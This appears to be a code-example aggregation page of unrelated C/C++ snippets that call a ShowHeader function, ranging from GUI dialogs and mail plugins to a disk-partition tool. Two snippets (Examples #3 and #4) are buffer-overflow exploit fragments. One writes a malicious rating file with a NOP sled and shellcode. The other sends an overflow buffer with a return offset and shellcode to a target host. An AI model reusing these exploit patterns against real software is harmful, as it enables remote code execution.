// PageUpgrade message handlers
BOOL PageUpgrade::OnInitDialog() {
  Page::OnInitDialog();

  CBitmap bitmap;
  bitmap.LoadBitmap(IDB_STATUS);
  imageList_.Create(32, 32, ILC_COLOR32 | ILC_MASK, 8, 0);
  imageList_.Add(&bitmap, RGB(255, 0, 255));
  taskListView_.SetImageList(&imageList_);
  taskListView_.SetSpacing(32);

  layout_.Init(m_hWnd);
  layout_.AddDlgItem(IDC_PROGRESS, AnchorLayout::TOP_LEFT, AnchorLayout::TOP_RIGHT);
  layout_.AddDlgItem(IDC_LIST_INFO, AnchorLayout::TOP_LEFT, AnchorLayout::BOTTOM_RIGHT);

  progressTracker_.AttachWindow(m_hWnd);
  progressTracker_.SetRange(0, 100);
  progressBar_.SetRange(0, 100);
  progressBar_.SetPos(0);

  CString text;
  text.LoadString(IDS_UPGRADE_UPLOAD);
  taskListView_.AddItem(text, 4, -1);
  text.LoadString(IDS_UPGRADE_UPDATE_STATE);
  taskListView_.AddItem(text, 5, -1);
  text.LoadString(IDS_UPGRADE_RESTART);
  taskListView_.AddItem(text, 6, -1);

  HeaderButton buttons = { IDC_BUTTON_START, IDS_BUTTON_START };
  SetHeaderButtons(&buttons, 1);
  ShowHeader(true);

  return TRUE;  // return TRUE unless you set the focus to a control
  // EXCEPTION: OCX Property Pages should return FALSE
}
Example #2
0
////////////////////////////////////////////////////////////////////////
/// @brief Called when a mail is selected.
/// @return Always return 0.
DLLEXPORT int WINAPI BKC_OnOpenMail(LPCTSTR lpMailID)
{
    // Always return 0.
    ShowHeader(lpMailID);

    return 0;
}
Example #3
0
int main(int argc, char* argv[]) {
char buf[1500];
FILE *ratFile=fopen(RATFILE,"w");;
int i;

ShowHeader(argc); 

i=atoi(argv[1]);
printf(" [i] Creating exploit File for platform: %s\n",supported[i].name);

fwrite(RHeader, sizeof(RHeader)-1, 1,ratFile);

memset(buf,0x90,sizeof(buf));
memcpy(buf+280,jmpbelow,strlen(jmpbelow)); // salto 


memcpy(buf+284,&supported[i].offset,sizeof(long)); // offset
memcpy(buf+500,shellcode,sizeof(shellcode)-1);

fwrite(buf,sizeof(buf),1,ratFile);
fwrite(RTail, sizeof(RTail), 1,ratFile);

printf(" [i] rsaci.rat created\n\n");

fclose(ratFile);
return 0;
}
Example #4
0
void main(int argc, char *argv[]) {
   SOCKET s;
   
   WSADATA HWSAdata;
   struct  sockaddr_in sa;

   char *buffer=NULL;

   ShowHeader(argc,argv);

   if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { 
      printf("\n [e] Error: WSAStartup():%d\n", WSAGetLastError()); 
      exit(1); 
   }

   if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){ 
      printf("\n [e] Error: socket():%d\n", WSAGetLastError()); 
      exit(1); 
   }

   sa.sin_family           = AF_INET;
   sa.sin_port             = (USHORT)htons(atoi(argv[2]));
   sa.sin_addr.S_un.S_addr = inet_addr(argv[1]);

   if ( connect(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) { 
      printf("\n [e] Error: connect()"); 
      exit(1); 
   }

   printf(" [i] Connected : Yes\n");
   printf(" [i] Target    : %s\n",supported[atoi(argv[3])].name);

   buffer=(char*)malloc(strlen(TOPHEADER)+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1])+1+strlen(argv[2])+strlen(BOTTOMHEADER)+1); 
   memset(buffer,0,sizeof(buffer));

   memcpy(buffer,TOPHEADER,strlen(TOPHEADER));

   memset(buffer+strlen(TOPHEADER),'A',BUFFERLEN);

   memcpy(buffer+strlen(TOPHEADER)+1052,&supported[atoi(argv[3])].offset,sizeof(long));

   memcpy(buffer+strlen(TOPHEADER)+1060,shellcode,strlen(shellcode));

   memcpy(buffer+BUFFERLEN,MIDDLEHEADER,strlen(MIDDLEHEADER));
   memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER),argv[1],strlen(argv[1]));
   memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1]),":",strlen(":"));
   memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1])+strlen(":"),argv[2],strlen(argv[2]));
   memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1])+strlen(":")+strlen(argv[2]),BOTTOMHEADER,strlen(BOTTOMHEADER));

   send(s,buffer,strlen(buffer),0);

   printf(" [i] Buffer sent\n\n");

   closesocket(s);

}
Example #5
0
int main()
{
	double value;
	char ifname[20];					// Character Arrays for file names 
	char ofname[20] = "output.txt";
	FILE *input, *output;
	printf( "File Name: " );
	scanf( "%s", &ifname );					// Gets name of first file from user
	ShowHeader( input, output, ifname, ofname, value );
	return 0;
}
MinecraftVersionDialog::MinecraftVersionDialog(wxWindow *parent)
	: ListSelectDialog(parent, _("Select Minecraft version"))
{
	// data setup
	showOldSnapshots = false;
	showMCRewind = false;
	
	// Custom GUI stuff.
	auto bSizer2 = new wxBoxSizer( wxHORIZONTAL );
	{
		wxCheckBox *snapshotShow = new wxCheckBox(this, 5555, _("Show old snapshots"));
		snapshotShow->SetValue(showOldSnapshots);
		bSizer2->Add(snapshotShow,0, wxALL | wxEXPAND | wxALIGN_CENTER_VERTICAL, 4);
		
		wxCheckBox *mcrwShow = new wxCheckBox(this, 5556, _("Show MCRewind versions"));
		mcrwShow->SetValue(showMCRewind);
		bSizer2->Add(mcrwShow,0, wxALL | wxEXPAND | wxALIGN_CENTER_VERTICAL, 4);
	}
	auto cnt = dlgSizer->GetItemCount();
	dlgSizer->Insert(cnt-1, bSizer2, 0, wxEXPAND, 0 );
	
	wxHyperlinkCtrl *mcrwLink = new wxHyperlinkCtrl(this, -1, _("Powered by MCRewind"),
	"http://mcrw.forkk.net/about");
	dlgSizer->Insert(cnt, mcrwLink,0, wxALL | wxEXPAND | wxALIGN_CENTER_VERTICAL, 4);
	
	wxClientDC dc(this);
	dc.SetFont(listCtrl->GetFont());
	int w,h;
	int maxWidth = 0;
	typeColumnWidth = 120;

	for(int i = 0; i < 4; i++)
	{
		dc.GetTextExtent(typeNames[i], & w, & h);
		if(w > maxWidth)
			maxWidth = w;
	}
	typeColumnWidth = maxWidth + 10;
	
	// Clear columns and add our own.
	listCtrl->DeleteAllColumns();
	listCtrl->AppendColumn(_("Minecraft Version"), wxLIST_FORMAT_LEFT);
	listCtrl->AppendColumn(_("Type"), wxLIST_FORMAT_RIGHT, typeColumnWidth);

	// Show column headers
	ShowHeader(true);
}
Example #7
0
////////////////////////////////////////////////////////////////////////
/// @brief Called when plug-in setup is needed.
/// @return Return nonzero if you have processed.
DLLEXPORT int WINAPI BKC_OnPlugInSetup(HWND hWnd)
{
    // Return nonzero if you have processed.
    //return 1;
    UINT chk = 0;
    char buf[1024];
    LPCSTR lpMailID;

    ::GetPrivateProfileString("BkTbHdr", "HeaderList", "X-Mailer",
                              buf, sizeof(buf) - 1, szIni);

    DoSetting(g_hInstance, hWnd, buf, sizeof(buf), &chk);

    ::WritePrivateProfileString("BkTbHdr", "HeaderList",
                                buf, szIni);

    InitHeader(szIni);
    lpMailID = bka.GetCurrentMail();
    ShowHeader(lpMailID);
    return 1;
}
GMessageViewDir::GMessageViewDir
	(
	GMessageTableDir* supervisor,
	const JString& mailfile,
	GMessageHeader* header,
	const JBoolean source
	)
	:
	GMManagedDirector(supervisor),
	itsSourceOnly(source)
{
	itsPasswdDialog				= NULL;
	itsAttachTable				= NULL;
	itsPrefsIncludeAttachTable	= kJFalse;

	BuildWindow(mailfile);
	itsDir = supervisor;
	itsShowFullHeaders = kJFalse;
	GGetPrefsMgr()->GetViewWindowPrefs(this);
	ShowHeader(header);

	GGetDirMgr()->DirectorCreated(this);
}
Example #9
0
void RtsForm::InitWindow()
{
	m_pRoot->AttachBubbledEvent(ui::kEventAll, nbase::Bind(&RtsForm::Notify, this, std::placeholders::_1));
	m_pRoot->AttachBubbledEvent(ui::kEventClick, nbase::Bind(&RtsForm::OnClicked, this, std::placeholders::_1));

	chat_status_ = (Label*)FindControl(L"chat_status");
	chat_status2_ = (Label*)FindControl(L"chat_status2");
	ctrl_notify_ = (Label*)FindControl(L"ctrl_notify");
	speak_ = (CheckBox*)FindControl(L"speak");
	speak_->Selected(false);
	board_ = (BoardControl*)FindControl(L"board");
	board_->AttachAllEvents(nbase::Bind(&RtsForm::Notify, this, std::placeholders::_1));
	board_->SetDrawCb(nbase::Bind(&RtsForm::OnDrawCallback, this, std::placeholders::_1));

	ShowHeader();

	auto closure = nbase::Bind(&RtsForm::SendCurData, this);
	nbase::ThreadManager::PostRepeatedTask(kThreadUI, closure, nbase::TimeDelta::FromMilliseconds(60));

	if (type_ & nim::kNIMRtsChannelTypeVchat)
	{
		InitAudio();
	}
}
Example #10
0
void CUIStatsPlayerList::Update()
{

	static string512 teaminfo;
	if (m_prev_upd_time > Device.dwTimeContinual - 100)
		return;

	DEFINE_VECTOR	(game_PlayerState*,ItemVec,ItemIt);
	ItemVec			items;

	m_prev_upd_time = Device.dwTimeContinual;
	game_cl_GameState::PLAYERS_MAP_IT I=Game().players.begin();
	game_cl_GameState::PLAYERS_MAP_IT E=Game().players.end();

	items.clear			();
	u32 pl_count = 0;
	int pl_frags = 0;
	u32	pl_artefacts = 0;
	for (;I!=E;++I)		
	{
		game_PlayerState* p = (game_PlayerState*) I->second;
		if (!p || p->team != m_CurTeam) 
			continue;
		if (m_bStatus_mode || 
			m_bSpectator && p->testFlag(GAME_PLAYER_FLAG_SPECTATOR) ||
			!m_bSpectator && !p->testFlag(GAME_PLAYER_FLAG_SPECTATOR)) 
		{
			items.push_back(I->second);
			// add to team info
			pl_frags+=p->frags();            
		}
	};
	pl_count = items.size();

    CStringTable st;
    if (GameID() == eGameIDArtefactHunt && !m_bSpectator)
	{
		game_cl_ArtefactHunt* game = static_cast<game_cl_ArtefactHunt*>(&Game());
		pl_artefacts = game->teams[m_CurTeam - 1].score;
        sprintf_s(teaminfo, "%s: %u, %s: %u, %s: %d",*st.translate("mp_artefacts_upcase"),pl_artefacts, *st.translate("mp_players"), pl_count, *st.translate("mp_frags_upcase"),pl_frags );
		m_header_text->SetText(teaminfo);
	}
	else if (GameID() == eGameIDTeamDeathmatch && !m_bSpectator)
	{
		game_cl_TeamDeathmatch* game = static_cast<game_cl_TeamDeathmatch*>(&Game());
		pl_frags = game->teams[m_CurTeam - 1].score;
		sprintf_s(teaminfo, "%s: %d, %s: %u", *st.translate("mp_frags_upcase"), pl_frags, *st.translate("mp_players"), pl_count);
		m_header_text->SetText(teaminfo);
	}	

	if (m_bSpectator)
	{
		if(items.empty())
		{
			Clear();
			ShowHeader(false);
			return;
		}
		else
			ShowHeader(true);
	}

    std::sort(items.begin(), items.end(), DM_Compare_Players);

	int n = (int)items.size();
	n -= m_pad->GetChildWndList().size();

	if (n<0)	
	{
		n = abs(n);
		for (int i = 0; i<n; i++)
            m_pad->DetachChild(*(m_pad->GetChildWndList().begin()));
		m_flags.set			(eNeedRecalc,TRUE);
	}
	else
	{		
		for (int i = 0; i<n; i++)
		{
            CUIStatsPlayerInfo* pi = new CUIStatsPlayerInfo(&m_field_info, m_i.f, m_i.c);
			pi->InitPlayerInfo( Fvector2().set(0,0), Fvector2().set(this->GetDesiredChildWidth(),m_i.h) );
			CUIScrollView::AddWindow(pi, true);
			m_flags.set			(eNeedRecalc,TRUE);
		}
	}

	R_ASSERT(items.size() == m_pad->GetChildWndList().size());

	WINDOW_LIST_it	it		= m_pad->GetChildWndList().begin();
	ItemIt			itit	= items.begin();

	for (; it != m_pad->GetChildWndList().end(); it++, itit++)
	{
		CUIStatsPlayerInfo* pi = smart_cast<CUIStatsPlayerInfo*>(*it);
		R_ASSERT(pi);
		game_PlayerState* ps = static_cast<game_PlayerState*>(*itit);
		pi->SetInfo(ps);
	}

	// update player info

	CUIScrollView::Update();	
}
Example #11
0
/*
 * wmain():
 * Main entry point of the application.
 */
int wmain(int argc, const LPWSTR argv[])
{
    LPCWSTR script = NULL;
    LPCWSTR tmpBuffer = NULL;
    WCHAR appTitle[50];
    int index, timeout;
    int result = EXIT_SUCCESS;

    /* Initialize the Console Standard Streams */
    ConInitStdStreams();

    /* Sets the title of the program so the user will have an easier time
    determining the current program, especially if diskpart is running a
    script */
    K32LoadStringW(GetModuleHandle(NULL), IDS_APP_HEADER, appTitle, ARRAYSIZE(appTitle));
    SetConsoleTitleW(appTitle);

    /* Sets the timeout value to 0 just in case the user doesn't
    specify a value */
    timeout = 0;

    CreatePartitionList();

    /* If there are no command arguments, then go straight to the interpreter */
    if (argc < 2)
    {
        ShowHeader();
        InterpretMain();
    }
    /* If there are command arguments, then process them */
    else
    {
        for (index = 1; index < argc; index++)
        {
            /* checks for flags */
            if ((argv[index][0] == '/')||
                (argv[index][0] == '-'))
            {
                tmpBuffer = argv[index] + 1;
            }
            else
            {
                /* If there is no flag, then return an error */
                ConResPrintf(StdErr, IDS_ERROR_MSG_BAD_ARG, argv[index]);
                result = EXIT_FAILURE;
                goto done;
            }

            /* Checks for the /? flag first since the program
            exits as soon as the usage list is shown. */
            if (_wcsicmp(tmpBuffer, L"?") == 0)
            {
                ConResPuts(StdOut, IDS_APP_USAGE);
                result = EXIT_SUCCESS;
                goto done;
            }
            /* Checks for the script flag */
            else if (_wcsicmp(tmpBuffer, L"s") == 0)
            {
                if ((index + 1) < argc)
                {
                    index++;
                    script = argv[index];
                }
            }
            /* Checks for the timeout flag */
            else if (_wcsicmp(tmpBuffer, L"t") == 0)
            {
                if ((index + 1) < argc)
                {
                    index++;
                    timeout = _wtoi(argv[index]);

                    /* If the number is a negative number, then
                    change it so that the time is executed properly. */
                    if (timeout < 0)
                        timeout = 0;
                }
            }
            else
            {
                /* Assume that the flag doesn't exist. */
                ConResPrintf(StdErr, IDS_ERROR_MSG_BAD_ARG, tmpBuffer);
                result = EXIT_FAILURE;
                goto done;
            }
        }

        /* Shows the program information */
        ShowHeader();

        /* Now we process the filename if it exists */
        if (script != NULL)
        {
            /* if the timeout is greater than 0, then assume
            that the user specified a specific time. */
            if (timeout > 0)
                Sleep(timeout * 1000);

            if (RunScript(script) == FALSE)
            {
                result = EXIT_FAILURE;
                goto done;
            }
        }
        else
        {
            /* Exit failure since the user wanted to run a script */
            ConResPrintf(StdErr, IDS_ERROR_MSG_NO_SCRIPT, script);
            result = EXIT_FAILURE;
            goto done;
        }
    }

    /* Let the user know the program is exiting */
    ConResPuts(StdOut, IDS_APP_LEAVING);

done:
    DestroyPartitionList();

    return result;
}
Example #12
0
int main(int argc, icChar* argv[])
{
  if (argc<=1) {
    printf("Usage: CmdIccProfLibTest profile\n");
    return -1;
  }

  
  CIccFileIO FileIO;
  if (!FileIO.Open(argv[1], "rb")) {
    printf("Unable to open '%s'\n", argv[1]);
    return -1;
  }

  CIccProfile *pIcc = new CIccProfile;

  if(!pIcc->Read(&FileIO)) {
    printf("Unable to read '%s'\n", argv[1]);
    delete pIcc;
    return -1;
  }

  bool Exit = false;
  std::string Option;

  ShowMenu();

  while(!Exit) {
    Option = GetUserInput();
    if(Option.size() >=2) {
      printf("\nInvalid Option\n");
      return -1;
    }
    
    icChar temp = Option[0];

    switch(temp) {
    case '0':
      ShowMenu();
      break;
    case '1':
      ShowHeader(pIcc);
      ShowMenu();
      break;
    case '2':
      ReadTag(pIcc);
      ShowMenu();
      break;
    case '3':
      AddTag(&FileIO,pIcc);
      ShowMenu();
      break;
    case '4':
      SaveProfile(pIcc);
      return 0;
    case '5':
      IsValidProfile(&FileIO, pIcc);
      ShowMenu();
      break;
    case '6':
      DeleteTag(&FileIO, pIcc);
      ShowMenu();
      break;
    case '7':
      SaveProfCopy(pIcc);
      ShowMenu();
      break;
    case '9':
      Exit = ConfirmExit();
      if(!Exit) ShowMenu();
      break;
    default:
      printf("\nInvalid Option\n");
      ShowMenu();      
    }
  }


  delete pIcc;
  
  return 0;
}